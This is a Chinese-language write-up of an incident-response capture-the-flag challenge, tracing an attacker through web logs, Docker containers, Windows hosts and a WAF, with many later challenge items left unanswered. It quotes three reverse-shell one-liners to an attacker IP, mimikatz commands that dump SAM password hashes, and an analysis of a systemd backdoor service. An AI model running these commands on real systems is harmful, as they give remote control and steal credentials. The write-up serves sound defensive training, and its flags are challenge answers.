第二届Parloo杯应急响应WP
该文章仅为个人复现学习
参考文章:
1 畸形的爱
网络架构
应急响应1-1(攻击者IP)
题目描述:提交攻击者使用的攻击ip地址1
1、查看webserver中nginx访问日志access.log文件(/var/log/nginx/access.log),看到a.php的操作,其攻击ip即为flag
所以 攻击者的IP为192.168.31.240
应急响应1-2(攻击者IP)
题目描述:提交攻击者使用的攻击ip地址2
1、进入/var/lib/docker中查找flag的文件名

2、逐一查看,在4bc4b开头的镜像中的/var/www/html文件夹中看到一个clean.sh

/var/lib/docker/overlay2 包含以下关键内容:
- 每个镜像/容器层对应一个随机命名的子目录(如
l开头的短 ID)。 - 各层目录包含:
diff/:实际文件内容(如镜像层文件或容器修改的文件)。link:短标识符文件。lower:描述该层的下层依赖(组成联合挂载的层级关系)。merged/:挂载后的统一视图(仅容器运行时存在)。
3、打开clean.sh查看,如下图

这段代码是 Linux/Unix 系统下的几种反弹 Shell(Reverse Shell)攻击命令,通常用于在受害机器上建立远程控制连接。攻击者通过这些命令可以让目标机器主动连接攻击者的服务器,从而获取 Shell 权限。
(1)第一种方式:使用 mkfifo + nc 反弹 Shell
1 | echo 'OK'; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 192.168.31.11 1133 >/tmp/f |
- **
mkfifo /tmp/f**:创建一个命名管道(FIFO 文件/tmp/f)。 - **
cat /tmp/f | sh -i 2>&1**:从管道读取数据并交给sh执行,同时将错误输出重定向到标准输出。 - **
nc 192.168.31.11 1133 > /tmp/f**:使用nc连接到攻击者的 IP192.168.31.11端口1133,并将接收到的命令写入/tmp/f。 - 整体作用:建立一个交互式 Shell 通道,攻击者可以在自己的机器上输入命令,目标机器会执行并返回结果。
(2)第二种方式:直接使用 nc -c 反弹 Shell
1 | nc -c sh 192.168.31.11 1133 |
- **
nc -c sh**:某些版本的nc(如ncat或netcat-traditional)支持-c参数,直接执行/bin/sh并连接远程主机。 - 作用:直接向
192.168.31.11:1133发送 Shell,攻击者可以执行任意命令。
(3)第三种方式:使用 /dev/tcp 反弹 Shell(无需 nc)
1 | sh -i >& /dev/tcp/192.168.31.11/1133 0>&1 |
- **
/dev/tcp/<IP>/<PORT>**:Linux 内置的 TCP 虚拟设备,可以直接建立 Socket 连接(不需要nc)。 - **
sh -i**:启动交互式 Shell。 - **
>&和0>&1**:将标准输出、错误输出和标准输入全部重定向到 TCP 连接。 - 作用:直接通过
/dev/tcp建立反向 Shell,攻击者可以完全控制目标机器。
所以 攻击ip地址为192.168.31.11
应急响应1-3(暴力破解时间)
题目描述:题解攻击者暴力破解开始时间。
1、在history历史命令中看到一个docker start的命令,这是一个启动docker容器的命令

2、使用docker ps -a查看全部开启过的容器

3、找相对于现在更久的容器,并且phpmyadmin是最容易被暴力破解的,所以从这个68014开头的容器开动,docker start开启容器,然后使用docker exec -it进入容器的交互式终端

4、此处发现日志被docker重定向输出了

- **
access.log -> /dev/stdout**:access.log并不存储真实数据,而是直接输出到标准输出(stdout)。- 通常用于 Docker 容器 或 日志重定向 场景,日志会直接显示在终端或由日志收集器(如
docker logs、journald)捕获。
由于 access.log 指向 /dev/stdout,它不会存储数据在磁盘上,而是实时输出到标准输出。
查看方法:如果运行在 Docker 容器中,需要使用docker logs来查看,
1 | docker logs <容器名或ID> # 查看容器的标准输出(即 access.log) |
5、使用docker logs查看日志,首先,phpmyadmin登陆界面是POST方式提交信息,重点留意POST数据包,并且登录界面为index.php。爆破的过的小伙伴应该都知道根据爆破值的长短,大部分的响应包的长度也是类似的,就如图中6340、6339、6338,响应包大小差不多,所以可以判断在进行爆破。

所以 可以确定爆破时间为2025:03:05:58
docker命令回顾
| 命令 | 功能 | 示例 |
|---|---|---|
docker run |
启动一个新的容器并运行命令 | docker run -d ubuntu |
docker ps |
列出当前正在运行的容器 | docker ps |
docker ps -a |
列出所有容器(包括已停止的容器) | docker ps -a |
docker build |
使用 Dockerfile 构建镜像 | docker build -t my-image . |
docker images |
列出本地存储的所有镜像 | docker images |
docker pull |
从 Docker 仓库拉取镜像 | docker pull ubuntu |
docker push |
将镜像推送到 Docker 仓库 | docker push my-image |
docker exec |
在运行的容器中执行命令 | docker exec -it container_name bash |
docker stop |
停止一个或多个容器 | docker stop container_name |
docker start |
启动已停止的容器 | docker start container_name |
docker restart |
重启一个容器 | docker restart container_name |
docker rm |
删除一个或多个容器 | docker rm container_name |
docker rmi |
删除一个或多个镜像 | docker rmi my-image |
docker logs |
查看容器的日志 | docker logs container_name |
docker inspect |
获取容器或镜像的详细信息 | docker inspect container_name |
docker exec -it |
进入容器的交互式终端 | docker exec -it container_name /bin/bash |
docker network ls |
列出所有 Docker 网络 | docker network ls |
docker volume ls |
列出所有 Docker 卷 | docker volume ls |
docker-compose up |
启动多容器应用(从 docker-compose.yml 文件) |
docker-compose up |
docker-compose down |
停止并删除由 docker-compose 启动的容器、网络等 |
docker-compose down |
docker info |
显示 Docker 系统的详细信息 | docker info |
docker version |
显示 Docker 客户端和守护进程的版本信息 | docker version |
docker stats |
显示容器的实时资源使用情况 | docker stats |
docker login |
登录 Docker 仓库 | docker login |
docker logout |
登出 Docker 仓库 | docker logout |
应急响应1-4(留下flag)
题目描述:提交攻击者留下的flag1
1、在win10PC2的机子的计划任务中找到flag1

还有一个方法,机子上有everything搜索工具,直接搜flag,找到flag1

应急响应1-5(留下flag)
题目描述:提交攻击者留下的flag2
1、在快速访问中有的最近访问文件中有个可以的a.bat文件,打开找到flag2
应急响应1-6(留下flag)
题目描述:提交攻击者留下的flag3
1、在webserver的www目录下index.php有数据库的连接密码

2、打开sql数据库服务器,连接数据库,查看数据库内容,将order_content内容base64解码

3、第三条数据解出带有flag3的值

应急响应1-7(钓鱼文件哈希)
题目描述:提交钓鱼文件的哈希32位大写
1、在win10PC2机子的内网通的和王美欣的聊天记录中看到一个简历.exe文件,简历传一个可执行文件,怀疑是钓鱼文件。

2、在回收站中找到这个被删除的钓鱼文件, 可以使用Windows系统自带工具certutil查看他的md5值,
certutil命令(求md5值)
1 | 命令格式为 **certutil -hashfile some_file MD5** |

3、得到的md5值将字母都转化为大写,即得到flag
应急响应1-8(webshell密码)
题目描述:提交攻击者留下的webshell-1密码
1、在webserver机子上,查看nginx的访问日志,搜索php文件后缀名,看到两个php文件,一个shell.php,一个a.php,这一题需要提交的flag是shell.php的密码,a.php的密码在第10题提交。

2、使用find命令搜索shell.php文件,找到这个shell.php在docker容器中,读取shell.php的内容,看到密码为hack

应急响应1-9(攻击者开放端口)
题目描述:提交攻击者开放端口,格式为:palu{xxx,xxx,xxx},有3个端口
1、在webserver机子上,使用crontab -l查看计划任务,其中有一个反弹shell的命令,暴露了攻击者开放的1144端口

2、第3题中也存在反弹shell的指令,同时暴露了攻击者开放端口1133

3、netstat查看网络连接状态,找到恶意外联IP的另一个端口8084
所以 三个攻击者开放的端口为1144,1133,8084
应急响应1-10(webshell密码)
题目描述:提交攻击者留下的webshell密码2
1、在webserver的html目录,查看a.php内容,其中包含webshell密码

应急响应1-11(隐藏账户密码)
题目描述:提交攻击者留下的隐藏账户的密码
1、在win10PC2机子上,将mimikatz工具传到机子上,然后使用命令抓取NTML哈希
1 | mimikatz # privilege::debug |
(1)privilege::debug
- 作用:启用
SeDebugPrivilege权限(调试权限)。 - 用途:
- 该权限允许进程调试其他进程(包括系统进程),是 Mimikatz 提取内存中敏感信息(如密码哈希)的前提条件。
- 需要当前用户具有管理员权限才能成功启用(否则会报错)。
(2)token::elevate
- 作用:将当前令牌(Token)提升至
SYSTEM权限。 - 用途:
- 通过模拟
NT AUTHORITY\SYSTEM(系统最高权限账户),绕过权限限制,访问受保护的系统资源(如 SAM 数据库、LSASS 进程)。 - 常用于转储本地账户的密码哈希或操作服务配置。
- 通过模拟
(3)lsadump::sam
- 作用:从本地 SAM(Security Account Manager)数据库中提取用户账户的密码哈希。
- 提取的信息:
- 本地用户的用户名、RID(相对标识符)。
- LM/NTLM 哈希(用于横向移动或哈希传递攻击)。
- 依赖条件:
- 需要
SYSTEM权限(通过前两条命令提权后即可访问 SAM 的HKLM\SAM注册表项)。
- 需要
privilege::debug→ 获取调试权限。token::elevate→ 提权至SYSTEM。lsadump::sam→ 导出本地用户哈希(可用于破解或横向渗透)。
防御措施:
- 限制调试权限:通过组策略限制
SeDebugPrivilege的分配。 - 启用 Credential Guard(Windows 10+):防止内存中凭证被读取。
- 监控 Mimikatz 行为:检测进程对 LSASS 或 SAM 的异常访问。
2、执行完上面三个指令后,获取到一个隐藏账户system$,以及他的NTML哈希值

3、将NTML哈希进行爆破,获取明文密码wmx_love
所以 隐藏账户的密码为wmx_love
应急响应1-12(溯源攻击者邮箱)
题目描述:[溯源]攻击者的邮箱.
1、这题要溯源攻击者的身份,我们从攻击者留下的钓鱼木马(简历.exe)来分析,用IDA打开查看shift+F12查看strings字符串,如下图,看到一个用户名n0k4u

2、去GitHub上找到该用户仓库
3、使用https://emailaddress.github.io这个工具可以获取GitHub上用户的邮箱
应急响应1-13(溯源flag)
题目描述:提交溯源后得到的flag
1、在GitHub中找到一篇日记
2、这个密语看着像qq号,加一下看看,得到flag
2 应急响应主线
网络架构

应急响应2-1(堡垒机中flag)
题目描述:提交堡垒机中留下的flag
1、登录JumpServer,查看更新标签中,存在的flag
还有一种方式,直接在虚拟机中进行查询,进入/data/jumpserver目录中,使用grep搜索包含flag1字符串的文件
1 | grep -r 'flag1' . //-r 递归搜索某个目录以及子目录下的所有文件 |

发现两个文件中都包含flag1
应急响应2-2(waf中flag)
题目描述:提交WAF中隐藏的flag
1、打开waf机子,登录waf,在身份认证-用户管理-配置 中找到flag
同样的,也可以直接在waf机子中,用grep搜索,为了有权限访问文件,需要登陆root用户,root用户没有密码可以设置一个。
1 | sudo passwd root //设置root密码 |

应急响应2-3(mysql中flag)
题目描述:提交Mysql中留下的flag
1、Navicat远程连接数据库,并查看

方法二:因为root的家目录下存在1panel的文件,所以其在1panel运维管理面板,mysql可能是在1panel上进行创建的,所以mysql文件在1panel子目录中,1panel安装在opt文件夹中,所以进入/opt使用grep搜索文件内容,再使用strings命令查看字符串
1 | grep -r 'palu{' . |
/opt文件夹(Optional Software)是一个用于安装第三方应用程序或附加软件包的标准目录。它的设计目的是为了避免将非系统自带的软件安装到/usr或/usr/local中,从而保持系统文件的整洁性。
.ibd 文件 是 MySQL 或 MariaDB 数据库中的一种数据存储文件,全称是 InnoDB Data File(InnoDB 数据文件)。它属于 InnoDB 存储引擎 的专用文件格式,用于存储 表数据 和 索引。
strings命令
strings 是一个 Linux/Unix 命令行工具,用于提取文件中的可打印字符串。它通常用于分析二进制文件(如可执行程序、库文件、内存转储等),从中提取人类可读的文本信息(如硬编码的路径、密码、调试信息等)。
- 常见用途:
(1) 提取二进制文件中的字符串
1 | strings /bin/ls |
输出 /bin/ls 中所有可打印字符串(如函数名、错误消息等)。
(2) 查找特定关键词
1 | strings malware.exe | grep -i "password" |
检查二进制文件中是否包含敏感关键词(如密码、API密钥)。
(3) 分析内存转储
1 | strings core.dump | grep "error" |
从崩溃的内存转储文件中提取错误信息。
(4) 提取PDB路径(调试信息)
1 | strings binary.exe | grep "\.pdb" |
常用于逆向工程,查找编译时的调试文件路径(可能泄露开发者信息)。
应急响应2-4(攻击者IP)
题目描述:提交攻击者的攻击IP
1、直接查看waf的攻击日志,找到发起大量攻击的ip

所以 攻击IP为192.168.20.107
应急响应2-5(最早攻击时间)
题目描述:提交攻击者最早攻击时间flag格式为palu{xxxx-xx-xx-xx:xx:xx}
1、查看waf攻击日志,找到这个攻击IP最早的攻击时间

应急响应2-6(web泄露文件名)
题目描述:提交web服务泄露的关键文件名
1、web服务是80端口,找到对应的防护应用,看到key.txt,访问查看
2、确实为泄露的信息
所以 关键文件名为key.txt
应急响应2-7(泄露的邮箱)
题目描述:提交泄露的邮箱地址作为flag进行提交
1、在key.txt中发现一个泄露的邮箱

所以 该邮箱为parloo@parloo.com
应急响应2-8(攻击者立足点服务器IP)
题目描述:提交立足点服务器ip地址
1、在waf上查看server1的访问日志,发现一个ip大量对网站进行扫描,应该就是攻击者的立足ip

“立足点服务器IP”通常是指在网络安全或渗透测试中,攻击者用来作为跳板或中转的服务器IP地址。这类服务器可能是被攻击者控制的设备,用于隐藏真实攻击源或作为进一步攻击的起点。
具体含义:
- 跳板作用:攻击者通过入侵或利用某些服务器(即“立足点”),将其作为中转站发起后续攻击,避免直接暴露自己的真实IP。
- 隐匿行踪:通过多层跳板(如“代理链”或“Tor网络”),增加追踪难度。
- 长期控制:攻击者可能长期维护这些服务器,作为后续攻击的基地(如APT攻击中的“持久化”)。
应急响应2-9(提权用户密码)
题目描述:提交攻击者使用的提权用户密码,flag格式为:palu{username/password}
1、打开sshserver的机子,查看/ect/passwd发现有一个parloo用户,拥有/bin/sh所以可以怀疑是攻击者

打开server1的机子,打开1Panel的管理面板,其中管理着两个web网站,其中一个写了员工账户密码,猜测parloo密码为parloo

应急响应2-10(攻击者留下文件)
题目描述:提交攻击者留下的的文件内容作为flag提交
1、在sshserver机子中,/home目录下找到parloo用户家目录,找到flag

应急响应2-11(权限维持方法服务)
题目描述:提交权限维持方法服务的名称
前置知识
/etc/systemd/system/是 Linux 系统(使用 systemd 作为初始化系统) 中的一个关键目录,主要用于存储用户或管理员自定义的系统服务单元文件(unit files)添加自定义服务
(1)编辑
1 sudo vim /etc/systemd/system/myapp.service内容示例:
1
2
3
4
5
6
7
8
9
10 [Unit]
Description=My Custom App
After=network.target
[Service]
ExecStart=/usr/bin/myapp
User=myuser
[Install]
WantedBy=multi-user.target(2)重载配置
修改后需让 systemd 重新加载:
1
2 sudo systemctl daemon-reload
sudo systemctl enable --now myapp.service
1、在/etc/systemd/system目录中发现rootset.service。

这个 rootset.service 文件是一个典型的 systemd 后门服务,攻击者通过它实现 权限维持(Persistence),确保恶意程序在系统重启后仍能自动运行。以下是具体分析:
恶意特征分析
(1)可疑的可执行文件路径
1 | ConditionFileIsExecutable=/usr/bin/b4b40c44ws |
- 文件名
b4b40c44ws是随机字符串(无意义命名),明显是为了躲避检测(如ls /usr/bin时不易被发现)。 - 路径在
/usr/bin/下,伪装成合法系统程序。
(2)服务配置的恶意行为
Restart=always+RestartSec=120
如果恶意进程崩溃或被杀,systemd 会每 120 秒自动重启它,确保后门持续运行。StartLimitInterval=5+StartLimitBurst=10
允许短时间内多次重启(防触发 systemd 的启动限制)。
(3)持久化安装
1 | [Install] |
- 服务被链接到
multi-user.target(标准多用户运行级别),系统启动时会自动运行。
(4)环境变量隐藏
1 | EnvironmentFile=-/etc/sysconfig/rootset |
- 从
/etc/sysconfig/rootset加载环境变量(-表示忽略文件不存在错误)。 - 攻击者可能通过该文件传递隐蔽参数(如 C2 服务器地址)。
攻击者如何利用它?
上传恶意程序
将后门木马(如反向 Shell、挖矿程序)放到/usr/bin/b4b40c44ws。创建服务
通过rootset.service确保恶意程序以 root 权限持久化。激活服务
1
2systemctl daemon-reload
systemctl enable --now rootset.service # 开机自启 + 立即运行维持访问
即使管理员杀死进程,systemd 也会重新启动它。
检测与清除方法
- 检查服务状态
1 | systemctl status rootset.service # 查看是否正在运行 |
- 删除恶意文件
1 | sudo systemctl stop rootset.service |
- 排查其他痕迹
检查
/etc/sysconfig/rootset(环境变量文件)。搜索其他可疑服务:
1
2ls -la /etc/systemd/system/ /usr/lib/systemd/system/
grep -r "ExecStart" /etc/systemd/system/
- 安全加固
监控
/usr/bin/和/etc/systemd/system/的文件变化(如使用auditd或tripwire)。限制 systemd 服务创建权限:
1
chmod 750 /etc/systemd/system/ # 仅允许 root 写入
所以 权限维持方法服务名称为rootset.service
应急响应2-12
题目描述:提交攻击者用于发起攻击的恶意服务器连接地址作为flag提交
应急响应2-13
题目描述:找到系统中被劫持的程序程序名作为flag提交
应急响应2-14
题目描述:找到系统中存在信息泄露的服务运行端口作为flag提交
应急响应2-15
题目描述:提交Parloo公司项目经理的身份证号作为flag提交
应急响应2-16
题目描述:提交存在危险功能的操作系统路径作为flag提交。flag格式为palu{/xxx/xxx}
应急响应2-17
题目描述:提交进源机器中恶意程序的MD5作为flag进行提交。 flag格式为palu{MD5小写}
应急响应2-18
题目描述:提交攻击者留下的恶意账户名称md5后作为flag进行提交。 格式为palu{md5{xxxxx}}
应急响应2-19
题目描述:提交内部群中留下的flag并提交
应急响应2-20
题目描述:请提交攻击者使用维护页面获取到的敏感内容作为flag进行提交
应急响应2-21
题目描述:提交获取敏感内容IP的第一次执行命令时间作为flag进行提交。flag格式为palu{xxxx-xx-xx:xx:xx:xx}
应急响应2-22
题目描述:提交攻击者使用的恶意ip和端口flag格式为palu{xx.xx.xx.xx:xxxx}
应急响应2-23
题目描述:提交重要数据的明文内容作为flag提交
应急响应2-24
题目描述:提交恶意维权软件的名称作为flag进行提交
应急响应2-25
题目描述:提交恶意程序的外联地址
应急响应2-26
题目描述:提交攻击这使用的恶意dnslog域名作为flag进行提交
应急响应2-27
题目描述:提交寻找反序列化漏洞的端口作为flag进行提交
应急响应2-28
题目描述:提交web服务泄露的密钥作为flag进行提交
应急响应2-29
题目描述:提交攻击者开始攻击的时间作为flag进行提交。flag各式为palu{xxxx/xx/xx:xx:xx:xx}
应急响应2-30
题目描述:提交攻击者在server中留下的账户密码作为flag进行提交。flag格式为palu{username/password}
应急响应2-31
题目描述:提交攻击者维权方法的名称作为flag进行提交
应急响应2-32
题目描述:提交攻击者留下的木马md5后作为flag进行提交
应急响应2-33
题目描述:提交攻击者留下的溯源信息作为flag进行提交
应急响应2-34
题目描述:提交攻击者的githubID作为flag进行提交
应急响应2-35
题目描述:提交攻击者在github下留下的的内容作为flag进行提交
应急响应2-36
题目描述:提交恶意用户的数量作为flag进行提交
应急响应2-37
题目描述:提交恶意用户的默认密码作为flag进行提交
应急响应2-38
题目描述:提交业务数据中攻击者留下的信息作为flag进行提交
应急响应2-39
题目描述:提交私人git仓库中留下的内容作为flag进行提交
应急响应2-40
题目描述:提交存在在mysql服务器中的恶意程序的MD5作为flag进行提交
应急响应2-41
题目描述:提交恶意程序中模拟c2通信的函数名称作为flag进行提交
应急响应2-42
题目描述:提交恶意程序创建隐藏文件的名称作为flag提交
应急响应2-43
题目描述:提交恶意程序中模拟权限提升的函数作为flag进行提交
应急响应2-44
题目描述:提交被钓鱼上线的用户名作为flag进行提交
应急响应2-45
题目描述:提交恶意程序的所在路径作为flag进行提交
应急响应2-46
题目描述:分析恶意程序的反连地址作为flag进行提交
应急响应2-47
题目描述:提交恶意c2的服务器登录的账号密码作为flag进行提交。flag格式为palu{username/password}